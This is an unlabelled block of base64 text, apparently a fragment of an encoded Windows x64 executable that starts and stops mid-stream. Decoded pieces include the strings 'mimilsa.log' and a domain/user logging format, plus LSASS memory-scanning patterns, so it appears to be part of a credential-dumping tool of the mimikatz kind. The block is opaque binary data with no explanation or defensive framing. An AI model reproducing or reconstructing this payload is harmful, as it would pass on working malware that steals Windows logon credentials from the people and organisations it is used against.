lQc0tFeUx3VWlORlFMLy8vL282YzMrLzdnQkFBQUFTSVBFS01QTXpNeElpVndrRUZkSWcrd2dpMWxRZy9zRUQ0YVZBQUFBU0kxUk9FU0x3MGlORGVqWUJBRG9JN3YrLzBTTHd6UFN1UUFBQUlEL0ZadHhBZ0JJaS9oSWhjQjBWcm9RQUFBQWpVb3cveFVGY1FJQVNJbEVKREJJaTloSWhjQjBFa3lOUkNRd1NJdlh1UUVBQUFEbzFxLysvNFhBZEJwRk04QklqUlZrLy8vL1NJdkw2TkRCL3Y5SWk4dm9rTEQrLzBpTHovOFZCM0VDQU9zVS94WHZjQUlBaTlCSWpRMkcyQVFBNktHNi92KzRBUUFBQUVpTFhDUTRTSVBFSUYvRHpFaUQ3Q2d6MGtpTkRUZi8vLy9vZXNEKy96UEFTSVBFS01QTXpNeElpVndrQ0VpSmRDUVlWVmRCVkVGV1FWZElqV3drMFVpQjdQQUFBQUF6LzBpSlZkY2hmQ1JJU0kxRm55RjluMHlMOGtnaGZhZE5pK0JJaVVYZlJJMUhCRWlOUlo5TWlVM0hTSWxGejB5TCtVaU5SYThQVjhCSWlVUWtRRWlMMFVnaGZDUTRNOGxJSVh3a01FbUw4VWdoZkNRb0lYd2tJUE1QZjBXUDZNdksvditGd0ErRUlnRUFBRWlMWGErTlZ4Q05UMEQvRmVOdkFnQklpVVdYU0lYQWRCZE1qVVdYU0l2VGpVOEI2THV1L3YrTHlFaUxSWmZyQWpQSmhja1BoTW9BQUFCRk04QklqVlVIU0l2STZETEgvditGd0ErRXFnQUFBRWlMUlJkSWpWVm5TSTFOajBpSlJZL29JY2orLzRYQUQ0U05BQUFBU0NGOEpFQk1qVTNIU0l0RmwwaU5WZGNoZkNRNFNJMU41MGlMWFdkTmk4UklJWHdrTUNGOEpDaElpVVh2U0l0RE1FaUpSZWVMUTFCSWlVWDNTSXRGZjBpSlJDUWc2UGU2L3YrTCtJWEFkQ0JJaTAzL1RJdk9TSWxNSkNCTmk4WklqUTJIMXdRQVNZdlg2QSs1L3YvckZQOFZSMjhDQUl2UVNJME56dGNFQU9qNXVQNy9TSXZML3hVSWJ3SUFTSXRObCtpM3J2Ny9TSXROci84VmhYSUNBRWlMVGJmL0ZTTnZBZ0JJaTAydi94VVpid0lBVEkyY0pQQUFBQUNMeDBtTFd6QkppM05BU1l2alFWOUJYa0ZjWDEzRHpNek1RRlZJaSt4SWcreFFTSXNOMFBJRkFFaUZ5UStFaUFFQUFFeU5SU2d6MHY4VnMvSUZBSVhBRDRWMEFRQUFTSXRGS0lOZ0JBRHBVZ0VBQUVpTkRhZllCQURvWXJqKy8waUxWU2lMUWdSSWc4SUlTR25JRkFJQUFFZ0R5dWk0OS83L1NJdFZLSXRDQkV5TlFoaElhY2dVQWdBQVNJMEZUNlFEQUV3RHdVaGpsQkVZQWdBQVNJME5aZGdFQUVpTEZORG9GTGorLzBpTFZTaE1qVTN3UlRQQWkwSUVTSVBDQ0VocHlCUUNBQUJJQTlGSWl3MHA4Z1VBL3hVNzhnVUFoY0FQaGNBQUFBQklpMFh3ZzJBRUFPbWJBQUFBaTBJRVNHbklCQUlBQUVpRHdRaElBOUZJalEwZTJBUUE2TG0zL3Y5SWkxWHdSVFBKU0lOa0pEQUF4MFVnQkFBQUFJdENCRXlOUWdoSWkxVW9TR25JQkFJQUFJdENCRWlEd2doTUE4RklhY2dVQWdBQVNJMUZJRWlKUkNRb1NBUFJTSXNOcC9FRkFFaU5SZmhJaVVRa0lQOFZxUEVGQUlYQWRScElpMVg0U0kwTnFaZ0VBT2hNdC83L1NJdE4rUDhWV3ZFRkFFaUxSZkQvUUFSSWkxWHdpd0k1UWdRUGdsYi8vLzlJaThyL0ZUdnhCUUJJaTBVby8wQUVTSXROS0lzQk9VRUVENEtmL3YvLy94VWY4UVVBTThCSWc4UlFYY1BNek14SWlWd2tDRWlKVkNRUVZWWlhRVlJCVlVGV1FWZElqV3drMlVpQjdPQUFBQUJGTStSSWpVV2ZEMWZBUklsbG4wU0w2VXlKWmFkTWlXV0hSWTEwSkFGSWlVV1BRWXYyOHc5L1JhOUJPODRQamo0RUFBQ0xCY2J5QlFBOVdCc0FBSElRUFVBZkFBQnpFRWlOSGQyK0JRRHJRRDFBSHdBQWNoQTl1Q1FBQUhNUVNJMGRScndGQU9zcFBiZ2tBQUJ5RUQxSUpnQUFjeFJJalIwdndRVUE2eEk5U0NZQUFBK0Mzd01BQUVpTkhadTVCUUJJalUxLzZCS3EvditGd0ErRTNBTUFBRXlOUlhjejBqUEoveFdVYlFJQWhjQVBoWlFEQUFCRmk4WklqUlh5RHdRQU04bi9GUkpvQWdCSWhjQjBGVXlMd0VpTlZmOUlqUTJQdWdRQTZOcnQvdi9yQTBHTHhJWEFENFJSQXdBQVJJdEZHelBTdVRnRUFBRC9GV1JzQWdCSWlVV1hTSXY0U0lYQUQ0UWNBd0FBdWhBQUFBQ05TakQvRmNackFnQklpVVczVEl2NFNJWEFkQkZNalVXM1NJdlhRWXZPNkp1cS92L3JBMEdMeElYQUQ0VGJBZ0FBVEkxRjMwbUx6MGlORmZqVkJBRG9wOEwrLzRYQUQ0UzRBZ0FBRHhCRjM0dEY3MGlOZXpCSWlVWFBSWXYwOHc5L1JiK0Y5ZytFRWdJQUFJdFgwRWlOUlo5SWlVY1lUSTFGdjBpTFI5aElqVTJIU0lsRmgwR0w5RXlKWnhCTWlUOU1pV2Y0UklsbkNPaXVyZjcvaGNCMGI0dFg0TGxBQUFBQS94VWdhd0lBU0lsSEVFaUZ3SFI3U0dOSDhFaU5VeWhJQTBYWFJJdEg0RWlKUi9oQmk4WklqUXlBU01IaEJFZ0QwVWlEd1VCSUE4dm9MYXYrLzR2d2hjQjFSLzhWRldzQ0FJdlFTSTBOWE5VRUFPakh0UDcvU0l0UEVQOFYxV29DQUV5Slp4RHJJMEdMMWtpTkRjWFZCQURvcUxUKy8vOFY0bW9DQUl2UVNJME4yZFVFQU9pVXRQNy9RZi9HU0lQSFVFR0QvZ2dQZ2gvLy8vK0Y5ZytFTVFFQUFFV0w5RWlOZXhDRjlnK0VJZ0VBQUVHTHhrR0w5RUc0UUFBQUFFaU5GSUJJd2VJRVRJMGtHa3lOU2ppTEYwd0R5MG1OVENRbzZNR3cvditGd0hRNFNJdEhDRWlOVllkRWl3ZEpqVXdrS0VpSlJZZm9jS3IrLzBVejVJdndoY0IxTGY4VlZXb0NBSXZRU0kwTnpOVUVBT2dIdFA3LzZ4Zi9GVDlxQWdDTDBFaU5EU2JXQkFEbzhiUCsvMFV6NUVIL3hraUR4MUJCZy80SUQ0SnAvLy8vaGZZUGhJc0FBQUJNaTNWdlNJME5jdFlFQUVtTEZ1akNzLzcvUVlQOUFYWnlTWTErQ0VHTmRmOUlpeGRJalEyQzFnUUE2S1d6L3Y5SWkwVi9NOUpNaXc5SWkwMTNUSXRBR0VtTEJraUpSQ1E0VElsRUpEQk1pV1FrS0V5SlpDUWcveFhYYWdJQWhjQjFEa2lORGJ3eEJBRG9aN1ArLytzUlJJdkFTSTBOUzlZRUFJdlE2RlN6L3Y5SWc4Y0lTSVB1QVhXV1FZdjBTSTE3T0V3NVp3aDBRMFNMUjloSWpWTkFpOFpJalF5QVNNSGhCRWdEMFVpRHdTaElBOHZvYUtuKy80WEFkUlQvRlZKcEFnQ0wwRWlORGNuVUJBRG9CTFArLzBpTFR3ai9GUkpwQWdCRWl3ZEZoY0IwSUl0WDJFeU5TemlMeGtpTkRJQkl3ZUVFVEFQSlNJUEJLRWdEeStoU3IvNy8vOFpJZzhkUWcvNEljb1JJaTMyWFNZdlA2SXVvL3Y5SWk4Ly9GUUpwQWdEckZQOFY2bWdDQUl2UVNJME5FZFlFQU9pY3N2Ny9TSTFOZC84VjZta0NBT3NSUkl2QVNJME5adFlFQUl2UTZIK3kvdjlJaTAxLy94VlZaUUlBNnhWSWpRMnMxZ1FBNndkSWpRMHoxd1FBNkY2eS92OHp3RWlMbkNRZ0FRQUFTSUhFNEFBQUFFRmZRVjVCWFVGY1gxNWR3OHhNaVV3a0lFeUpSQ1FZU0lsVUpCQ0pUQ1FJU0lIc3FBQUFBTWRFSkZCdGFXMXB4MFFrVkd4ellTN0hSQ1JZYkc5bkFNZEVKRUJoQUFBQXgwUWtZRnNBSlFESFJDUmtNQUE0QU1kRUpHaDRBRG9BeDBRa2JDVUFNQURIUkNSd09BQjRBTWRFSkhSZEFDQUF4MFFrZUNVQWR3REhSQ1I4V2dCY0FNZUVKSUFBQUFBbEFIY0F4NFFraEFBQUFGb0FDUURIaENTSUFBQUFKUUIzQU1lRUpJd0FBQUJhQUFvQXg0UWtrQUFBQUFBQUFBQklqVlFrUUVpTlRDUlFTTGhCUVVGQlFVRkJRZi9RU0lsRUpFaElnM3drU0FCMGNVaUxoQ1RBQUFBQVNJUEFLRWlMakNUQUFBQUFTSVBCQ0VpTGxDVEFBQUFBU0lQQ0dFaUpSQ1F3U0lsTUpDaElpVlFrSUVpTGhDVEFBQUFBUklzSVNJdUVKTUFBQUFCRWkwQUVTSTFVSkdCSWkwd2tTRWk0UWtKQ1FrSkNRa0wvMEVpTFRDUklTTGhEUTBORFEwTkRRLy9RVEl1TUpNZ0FBQUJNaTRRa3dBQUFBRWlMbENTNEFBQUFpNHdrc0FBQUFFaTRSRVJFUkVSRVJFVC8wRWlCeEtnQUFBRER1SEJ6YzIzRHpNeElpOFJJaVZnSVNJbHdFRWlKZUNCVlNJMW95RWlCN0RBQkFBQm1EMjhGVFVrRkFFaU5EZGJWQkFDRFpDUndBRWlOUkNSd1NJTmtKSGdBU0kxVlVFaURaQ1JBQUE5WHlVaUpSQ1JJU0kwRnhkVUVBRWlKUlpoSWpRWEMxUVFBWmc5L1JhQm1EMjhGRlVrRkFFaUpSYmhJalFXMjFRUUFaZzkvUmNCbUQyOEZEVWtGQUVpSlJkaElqVVdRWmc5L1JlQm1EMjhGQ0VrRkFFaUpUWkJJaVUyd1NJbE4wRWlORFkzVkJBQklpVVdJWmc5L1RmQm1EMzlGQU1kRmdBUUFBQURvdTdiKy80WEFENFNwQWdBQVJJdEZVRFBTdVRnRUFBRC9GV3BtQWdCSWkvaEloY0FQaEgwQ0FBQzZFQUFBQUkxS01QOFYwR1VDQUVpSlJDUTRTSVhBZEJ0TWpVUWtPRWlMMTdrQkFBQUE2S1NrL3YrTHlFaUxSQ1E0NndJenlZWEpENFExQWdBQVRJMUZFRWlMeUVpTkZSdlZCQURvcXJ6Ky80WEFENFFRQWdBQWkwVWdNOXNQRUVVUWl4V1Q2d1VBTThsSWlVUWtZRWlOQmNHOUJRRHpEMzlFSkZBNUVIY1VTSXZZU0lQQlVFaUR3RkJJZ2Zud0FBQUFjdWhJaGRzUGhNd0JBQUJJaTBNUVRJMUVKRkNMVXdoSWpVd2tRRWlKUkNSQTZLT24vditGd0ErRWxRRUFBSXRETExsQUFBQUFnOEFPaTlDTDhQOFZDbVVDQUVpSlJDUkFTSVhBRDRTR0FRQUFTSXRNSkdoSWpWUWtNRWhqUXloTVkwTXNTQVBJU0lsTUpHaElpVXdrTUVpTlRDUkE2QmVsL3YrRndBK0VJQUVBQUVoalV5eEJ1RUFBQUFCSWkwd2tRSXNGb3J3RkFJa0VDZyszQlp5OEJRQm1pVVFLQkl2V1NJMU1KRERvcjZqKy80WEFENFQ4QUFBQVNHTlRMRVNMeGtpTFJDUkFTSXRNSkdoSUE4cElpVXdDQmtpTlZDUkFTSXRFSkRCSWpVd2tNRWlKUlFqb3BxVCsvNFhBRDRTZ0FBQUFTSTFNSkRCTWpRVisvZi8vU0lsTUpDQklpMHdrT0VpTkZmWDcvLzlFSzhKTWpVMkE2QzNXL3YrRndIUmtpd1VUdkFVQVNJMVVKRUJJaTB3a1FJa0JEN2NGQkx3RkFHYUpRUVJJaTBRa01FaUxUQ1JBU0lsQkJraU5UQ1F3U0l0RUpHaE1ZME1zU0lsRUpERG9McVQrLzRYQWRBNUlqUTEvMHdRQTZOS3Qvdi9yUWY4VkNtUUNBRWlORFpQVEJBRHJLLzhWKzJNQ0FFaU5EUlRVQkFEckhQOFY3R01DQUVpTkRjWFVCQURyRGY4VjNXTUNBRWlORFViVkJBQ0wwT2lQcmY3L1NJdE1KRUQvRlp4akFnRHJGUDhWdkdNQ0FJdlFTSTBOczlVRUFPaHVyZjcvU0l0TUpEam9OS1ArLzBpTHovOFZxMk1DQU9zai94V1RZd0lBU0kwTkROWUVBT3NOL3hXRVl3SUFTSTBOYmRZRUFJdlE2RGF0L3Y5TWpad2tNQUVBQURQQVNZdGJFRW1MY3hoSmkzc29TWXZqWGNQTXpNeE1pVXdrSUVTSlJDUVlpVlFrRUVpSlRDUUlTSVBzV01kRUpDQ2FBQURBeGtRa09HREdSQ1E1dXNaRUpEcFB4a1FrTzhyR1JDUTgzTVpFSkQxR3hrUWtQbXpHUkNRL2VzWkVKRUFEeGtRa1FUekdSQ1JDRjhaRUpFT0J4a1FrUkpUR1JDUkZ3TVpFSkVZOXhrUWtSL2E2S0FBQUFEUEpTTGhLU2twS1NrcEtTdi9RU0l0TUpIaElpUUZJaTBRa2VFaURPQUFQaEEwQkFBQk1qVXdrTUVTTFJDUndpMVFrYUVpTFRDUmdTTGhEUTBORFEwTkRRLy9RaVVRa0lJTjhKQ0FBRDR5NEFBQUFRYmdRQUFBQVNJdFVKREJJaTBRa2VFaUxDRWk0VEV4TVRFeE1URXovMEV5TlRDUW9SSXRFSkhDNkVBQUFBRWlOVENRNFNMaERRME5EUTBORFEvL1FpVVFrSUlOOEpDQUFmRjFJaTBRa2VFaUxBRWlEd0JCQnVCQUFBQUJJaTFRa0tFaUx5RWk0VEV4TVRFeE1URXovMEVpTFJDUjRTSXNBU0lQQUlFRzRDQUFBQUVpTlZDUmdTSXZJU0xoTVRFeE1URXhNVFAvUVNJdE1KQ2hJdUV0TFMwdExTMHRMLzlCSWkwd2tNRWk0UzB0TFMwdExTMHYvMElOOEpDQUFmU0JJaTBRa2VFaUxDRWk0UzB0TFMwdExTMHYvMEVpTFJDUjRTTWNBQUFBQUFJdEVKQ0JJZzhSWXc4eE1pVXdrSUVTSlJDUVlTSWxVSkJCSWlVd2tDRWlEN0ZqSFJDUXdtZ0FBd0VpTGhDU0FBQUFBaXdDSlJDUTB4a1FrUUdER1JDUkJ1c1pFSkVKUHhrUWtROHJHUkNSRTNNWkVKRVZHeGtRa1JtekdSQ1JIZXNaRUpFZ0R4a1FrU1R6R1JDUktGOFpFSkV1QnhrUWtUSlRHUkNSTndNWkVKRTQ5eGtRa1QvYUxSQ1J3aTlBenlVaTRTa3BLU2twS1Nrci8wRWlKUkNRNFNJTjhKRGdBRDRUVEFBQUFpMFFrY0VTTHdFaUxWQ1JvU0l0TUpEaEl1RXhNVEV4TVRFeE0vOUJJaTRRa2dBQUFBRWlKUkNRZ1RJdE1KSGhFaTBRa2NFaUxWQ1E0U0l0TUpHQkl1RVJFUkVSRVJFUkUvOUNKUkNRd2czd2tNQUI5YlVpTGhDU0FBQUFBaTB3a05Ja0lTSXRFSkdCSWc4QVFTSXVNSklBQUFBQklpVXdrSUV5TFRDUjRSSXRFSkhCSWkxUWtPRWlMeUVpNFJFUkVSRVJFUkVULzBJbEVKRENEZkNRd0FId2dRYmdRQUFBQVNJMVVKRUJJaTBRa1lFaUxTQ0JJdUV4TVRFeE1URXhNLzlCSWkwd2tPRWk0UzB0TFMwdExTMHYvMEl0RUpEQklnOFJZdzh5NGJHVnJjOFBNekVpSlhDUUlTSWw4SkJCVlFWUkJWa2lOYkNTUVNJSHNjQUVBQUdZUGJ3WDlRZ1VBU0kwTmpwOEVBR1lQZjBYZ1NJMUZxR1lQYndYMVFnVUFUSTBseHF3RkFFaUpSQ1JJTTl0SUlaMm9BQUFBU0kwRlNkTUVBQ0ZkcUE5WHlVZ2hYYkJKaTlSSUlWd2tRRWlKUmRoSWpRVmtvQVFBU0lsRitFaU5CU0dmQkFCSWlVVVFTSTBGV3FBRUFHWVBmMFVBWmc5dkJhbENCUUJJaVVVWVNJMUYwR1lQZjBVZ1pnOXZCUVJDQlFCSWlVWEFNOEJtRDM5RlFHWVBid1VCUWdVQVNJbE4wRWlKVGZCSWpVd2tXRWlKUkNSWVNJbEVKR0JtRDM5Tk1HWVBmMDFRWmc5L1JXREhSYmdGQUFBQS94VTJZZ0lBU0kyVm9BQUFBRWlORFZqT0JBRG9tNi8rLzRYQUQ0UWlBd0FBUkl1Rm9BQUFBRFBTdVRnRUFBRC9GVWRmQWdCSWkvaEloY0FQaE80Q0FBQkVqWE1RUVl2V2pVdEEveFdyWGdJQVNJbEVKRGhJaGNCMEdVeU5SQ1E0U0l2WGpVc0I2SUdkL3YrTHlFaUxSQ1E0NndJenlZWEpENFNtQWdBQWdUMlE1QVVBaUJNQUFBK0NEQUVBQUV5TlJDUm9TSXZJU0kwVko5SUVBT2gydGY3L2hjQVBoTU1BQUFBUEVFUWthSXRFSkhoTWpVV0l1aWdBQUFCTWlXUWtRRWlOVENSQVNJbEZtUE1QZjBXSTZLU2cvditGd0ErRWd3QUFBRWlORGZuUkJBRG9ES2orLzBpTlJDUllTWXZXU0lsRUpFQk1qVVdJU0l0Rm9FaU5UQ1JBU0lsRUpHRG9iS0QrLzRYQWRFWklpMVdnU0kwTjJkRUVBT2pVcC83L004QklqVlFrUUVpSlJDUllTSTFNSkRCSWlVUWtZRTJMeGtpTFJhQklpVVFrTU9qNW5mNy9pOWlGd0hRNFNJME53TkVFQU9zUVNJME41OUVFQU9zSFNJME5UdElFQU9pSnAvNy82eFQvRmNGZEFnQ0wwRWlORGFqU0JBRG9jNmYrLzRYYmRSQ0JQWW5qQlFDSUV3QUFENE9GQVFBQVNJdEVKRGhNalVRa2FFaUx5RWlORlRQVEJBRG9hclQrLzRYQUQ0UlFBUUFBU0kwTkg5TUVBUDhWNFZ3Q0FFaU5WQ1JRdVJjQUFBQklpOWovRlJaZ0FnQ0Z3QStJUEFFQUFFaUxSQ1JRVEkwRkl2My8vMHlOTmV2NS8vOUZLOFpNalUyNFNZdldTSXRJS0VncnkwZ0RUQ1JvU0lsTlNFaU5UQ1F3U0l0QU9FZ3J3MGlKVENRZ1NBTkVKR2hJaTB3a09FaUpSV2pveWM3Ky80WEFENFRCQUFBQVNJME52dElFQU9peHB2Ny9TSXRFSkRCSWpWUWtRRWlMVENSb1FiZ0lBQUFBU0ltRnFBQUFBRWdyeTBpTmhhZ0FBQUJJaVVRa1FFaUxSQ1JRU0lQQUtFZ0R5RWlKVENRd1NJMU1KRERvdDV6Ky80WEFENFNKQUFBQVNJdFVKREJJalEySDBnUUE2RkttL3Y5SWkwd2thRWlOQmQ3Ni8vOUpLOFpJalZRa1FFZ0JoYWdBQUFCSUs4dElpMFFrVUVHNENBQUFBRWlEd0RoSUE4aElpVXdrTUVpTlRDUXc2RitjL3YrRndIUTFTSXRVSkRCSWpRMWowZ1FBNlA2bC92L3JJa2lORFlYU0JBRG84S1grLytzVS94VW9YQUlBaTlCSWpRMFAwUVFBNk5xbC92OUlpMHdrT09pZ20vNy9TSXZQL3hVWFhBSUE2eFQvRmY5YkFnQ0wwRWlORGNiU0JBRG9zYVgrLzB5Tm5DUndBUUFBTThCSmkxc2dTWXQ3S0VtTDQwRmVRVnhkdzh6TVNJbGNKQkJWVmxkQlZFRlZRVlpCVjBpTmJDVFpTSUhzd0FBQUFEUGJ4MFd2QVFFQUFFaUpYZC9IUmJNQUFBQUZ4MFczSUFBQUFJWEpkQVZJaXhMckIwaU5GZjJoQXdCSWpVMFgveFdMWGdJQVJUUEpTSTFWejBpTlRSZEZqVUV4L3hWV1hRSUFoY0FQaUxRRUFBQklpMDNQVEkxTjMweU5SYSs2QUFNQUFQOFYvMXdDQUlYQWVRNkwwRWlORGJMU0JBRG8vYVQrLzRsZDUwaUxUYzlJalVXL1Fia0JBQUFBU0lsRUpDQk1qVVVQU0kxVjUvOFYwVndDQUVTTDZJWEFlUk9MMEVpTkRkbldCQURveEtUKy8ra1pCQUFBUkl2N09WMi9ENFlEQkFBQVNJdFZEMGlORGNqU0JBQkJpOGRJZzhJSVNJMGNRRWlORk5yb2xLVCsvMGlMVlE5TWpVVUhTSXROejBpRHdnaElqUlRhL3hWQ1hBSUFNOXVGd0ErSXBRTUFBRWlORGJIU0JBRG9aS1QrLzBpTFRRZm8vK1ArLzB5TFJRZE1qVTJuU0l0Tno3b0FBd0FBL3hVMFhBSUFoY0FQaUZjREFBQ0pYZXRJaTAyblNJMUZmMGlKUkNRb1RJMU4xMFV6d01kRUpDQUJBQUFBU0kxVjYvOFY4MXNDQUVTTDRJWEFlUk9MMEVpTkRkUFVCQURvL3FQKy8rbjdBZ0FBaS9NNVhYOFBodVlDQUFDTHhraU5EVTNTQkFCTWpUUkFTSXRGMTBLTEZQQk1qVUFJVDQwRThPak1vLzcvU0l0RjEweU5UZjlJaTAybnVoc0RBQUJHaXdUdy94WEpXd0lBaGNBUGlJZ0NBQUJJaTAzL1RJMUZkMGlOVmUvL0ZWZGJBZ0NGd0ErSWpRQUFBSXY3T1YxM2RucElpMFh2U0kwTi9kRUVBSXZmaXhUWTZIT2ovdjlJaTBYdlRJMU5sMGlMVGFlNkFRQUFBRXlOQk5oSWpVWEhTSWxFSkNEL0ZXOWJBZ0F6MjRYQWVDWklpMVdYU0kwTnJxUURBT2c1by83L1NJdE5sLzhWTjFzQ0FFaUxUY2YvRlMxYkFnRHJEb3ZRU0kwTnV0RUVBT2dWby83Ly84YzdmWGR5aGtpTFRlLy9GUXhiQWdEckRvdlFTSTBOQ2RJRUFPajBvdjcvU0l0RjEweU5SZmRJaTAzL1Fvc1U4UDhWdGxvQ0FJWEFENGliQVFBQVNJdE5wMGlOUlo5TWpVMW5TSWxFSkNCTWpVWDN1Z0VBQUFEL0ZZWmFBZ0NGd0ErSWpRQUFBSXY3T1YxbmRucElpMFdmU0kwTkZOSUVBSXZmaXhTWTZKS2kvdjlJaTBXZlRJMU5sMGlMVGFlNkFRQUFBRXlOQkpoSWpVWEhTSWxFSkNEL0ZZNWFBZ0F6MjRYQWVDWklpMVdYU0kwTnphTURBT2hZb3Y3L1NJdE5sLzhWVmxvQ0FFaUxUY2YvRlV4YUFnRHJEb3ZRU0kwTjJkQUVBT2cwb3Y3Ly84YzdmV2R5aGtpTFRaLy9GU3RhQWdEckRvdlFTSTBOcU5FRUFPZ1RvdjcvU0l0TjMwaUZ5UStFdndBQUFFaU5SWis2QVFBQUFFeU5UV2RJaVVRa0lFeU5SZmYvRmJwWkFnQ0Z3QStJalFBQUFJdjdPVjFuZG5wSWkwV2ZTSTBOeU5FRUFJdmZpeFNZNk1haC92OUlpMFdmVEkxTmwwaUxUZCs2QVFBQUFFeU5CSmhJalVYSFNJbEVKQ0QvRmNKWkFnQXoyNFhBZUNaSWkxV1hTSTBOQWFNREFPaU1vZjcvU0l0TmwvOFZpbGtDQUVpTFRjZi9GWUJaQWdEckRvdlFTSTBORGRBRUFPaG9vZjcvLzhjN2ZXZHloa2lMVFovL0ZWOVpBZ0RyRG92UVNJME4zTkFFQU9oSG9mNy9TSXROOS84VlJWa0NBT3NPaTlCSWpRMUMwUVFBNkMyaC92OUlpMDMvL3hVeldRSUE2dzZMMEVpTkRZalJCQURvRTZIKy8vL0dPM1YvRDRJYS9mLy9TSXROMS84VkJsa0NBRUdCL0FVQkFBQVBoTGo4Ly85SWkwMm4veFgzV0FJQTZ3NkwwRWlORFJ6U0JBRG8xNkQrLzBpTFRRZi9GZFZZQWdEckRvdlFTSTBOWXRJRUFPaTlvUDcvUWYvSFJEdDl2dytDL2Z2Ly8waUxUUS8vRmE1WUFnQklqUTAzbndNQTZKcWcvdjlCZ2YwRkFRQUFENFNUKy8vL1NJdE4zMGlGeVhRRy94V09XQUlBU0l0TnovOFZoRmdDQU9zT2k5QklqUTM1MGdRQTZHU2cvdjh6d0VpTG5DUUlBUUFBU0lIRXdBQUFBRUZmUVY1QlhVRmNYMTVkdzh6TXpEUEF3OHhBVTBpRDdDQkZNOEJNalV3a1FFR05VQUdOU2hQL0ZkVlpBZ0NMMkxvVUFBQUFoY0I0RGtpTkRYUFRCQURvRHFEKy8rc1BSSXZBU0kwTmt0TUVBT2o5bi83L2k4TklnOFFnVzhQTU05SklqUTNuQVFBQTZlS2wvdi9NekVCVFNJUHNjSVhKZEhKSVk4RklqUTA0MVFRQVNJdGN3dmhJaTlQb3c1LysvOGRFSkVnQkFBQUFTSTFFSkZCSWlVUWtRRVV6d0VpRFpDUTRBRWlMMDBpRFpDUXdBRFBKU0lOa0pDZ0FnMlFrSUFEb1piRCsvNFhBZEEyTFZDUmdTSTBORnRVRUFPc1AveFcyVlFJQWk5QklqUTB0MVFRQTZHaWYvdjh6d0VpRHhIQmJ3MFV6d09rWUFBQUFRYmdCQUFBQTZRMEFBQURNUWJnQ0FBQUE2UUVBQUFETVNJbGNKQWhJaVd3a0VGWlhRVlpJZyt3d1FZdll2eVVDQU1CRmhjQjBMRUdENkFGMEdFR0QrQUVQaGZZQUFBQytBQWdBQUVpTkxaWFZCQURyR3I0QUNBQUFTSTB0WDlVRUFPc012Z0VBQUFCSWpTMHAxUVFBU0lOa0pDQUFUSTFNSkdoTWpRVWZjd1FBNkxMZi92K0Z3QStFb3dBQUFFaUxUQ1JvUlRQQU05TG8wMzhCQUVTTDhJWEFENFNKQUFBQVJJdkFNOUtMenY4VksxVUNBRWlMOEVpRndIUmVoZHQwSUlQckFYUVFnL3NCZFROSWk4ai9GU3hZQWdEckZraUx5UDhWT1ZnQ0FPc0xNOUpJaThqL0ZTUllBZ0NMK0lYQWVBeEZpOFpJalEwTTFRUUE2d3BFaThkSWpRMHcxUVFBU0l2VjZFaWUvdjlJaTg3L0ZZOVVBZ0RySXY4VmQxUUNBSXZRU0kwTmZ0VUVBT2dwbnY3LzZ3eElqUTN3MVFRQTZCdWUvdjlJaTF3a1VJdkhTSXRzSkZoSWc4UXdRVjVmWHNQTXpFaUQ3Q2hJaTFGUVRJMUJPRWlORFVuV0JBRG83SjMrLzdnQkFBQUFTSVBFS01QTXpFeU5CUUVCQUFEcERBQUFBRXlOQmVFQkFBRHBBQUFBQUVpTHhFaUpXQWhJaVdnUVNJbHdHRmRJZyt3d1NZdm9USTFJSURQMlRJMEY3SEVFQUVnaGNPZ3ovK2g1M3Y3L2hjQjBRRWlMVENSWWpYY0JSVFBBTTlMb20zNEJBRVNMd0RQU3VRQUFBSUQvRmZ0VEFnQklpL2hJaGNCMUZ2OFZwVk1DQUl2UVNJME56TlVFQU9oWG5mNy82Mk82RUFBQUFJMUtNUDhWVDFNQ0FFaUpSQ1JZU0l2WVNJWEFkQTlNalVRa1dFaUwxNHZPNkNPUy92K0Z3SFFZUlRQQVNJdlZTSXZMNkNHay92OUlpOHZvNFpMKy8rc1UveFZKVXdJQWk5QklqUTN3MVFRQTZQdWMvdjlJaTgvL0ZVSlRBZ0JJaTF3a1FEUEFTSXRzSkVoSWkzUWtVRWlEeERCZnc4ek16RWlKWENRSVYwaUQ3Q0JJaTlwSWkvbElpMUVZU0kwTk5kWUVBT2k0blA3L1RJdkRTSTBWR2dBQUFFaUx6K2cyci83L1NJdGNKREM0QVFBQUFFaUR4Q0Jmdzh6TVFGTklnK3dnUkl0QkJFaUwyVWlMVVNCSWpRMEUxZ1FBNkhlYy92OUlnM3NRQUhRUmkxTUlTSTBOQnRZRUFPaGhuUDcvNnd4SWpRMEExZ1FBNkZPYy92OUlpMU13U0lYU2RBNUlqUTN6MVFRQTZENmMvdi9yREVpTkRkM1ZCQURvTUp6Ky8waUxVeEJJaGRKMERraU5EZGpWQkFEb0c1eisvK3NNU0kwTnV0VUVBT2dOblA3L1NJdFRHRWlGMG5RTVNJME52ZFVFQU9qNG0vNy91QUVBQUFCSWc4UWdXOFBNU0lsY0pBaFhTSVBzSUVpTDJraUwrVWlMVVJoSWpRMUoxUVFBNk15Yi92OU1pOE5JaTgvb2hiRCsvMGlMWENRd3VBRUFBQUJJZzhRZ1g4UE1RRk5JZyt3Z1RJdEpDRWlMMlV5TFFUQklpMUVnU0kwTlpOVUVBT2lQbS83L1NJdFRHRWlGMG5RT1NJME5jOVVFQU9oNm0vNy82dytMVXhCSWpRMXUxUVFBNkdtYi92KzRBUUFBQUVpRHhDQmJ3OHpNU0lsY0pBaElpWFFrRUZkSWcrd2dTWXZaUVl2NFNJdnhSWVhBZEdOTml3RklqUTJkMWdRQTZEQ2IvditEL3dGMUtFaUxDLy9XaGNCMENVaU5EV3NaQkFEclJQOFZVMUVDQUl2UVNJME5tdFlFQU9nRm0vNy82ek9MVkNSUWhkSjBGb0U5RmRjRkFMQWRBQUJ5Q2tpTEMrZ0RBZ0FBNnhWSWpRM2UxZ1FBNndkSWpRMDExd1FBNk5DYS92OUlpMXdrTURQQVNJdDBKRGhJZzhRZ1g4UE16RWlEN0RpRFpDUWdBRXlMeWtTTHdVaU5GWGJYQkFCSWpRMzcwdjcvNkQ3Ly8vOUlnOFE0dzh4SWcrdzRnMlFrSUFCTWk4cEVpOEZJalJWbTF3UUFTSTBOVDlQKy8rZ1cvLy8vU0lQRU9NUE1TSVBzT0V5THlzZEVKQ0FCQUFBQVJJdkJTSTBWVTljRUFFaU5EVFRVL3YvbzYvNy8vMGlEeERqRHpNeElnK3c0VEl2S3gwUWtJQUlBQUFCRWk4RklqUlUvMXdRQVNJME5HTlQrLytpLy92Ly9TSVBFT01QTXpFaUQ3RGhNaThySFJDUWdBd0FBQUVTTHdVaU5GU3ZYQkFCSWpRMzgwLzcvNkpQKy8vOUlnOFE0dzh6TVNJUHNPRXlMeXNkRUpDQVBBQUFBUkl2QlNJMFZGOWNFQUVpTkRlRFQvdi9vWi83Ly8waUR4RG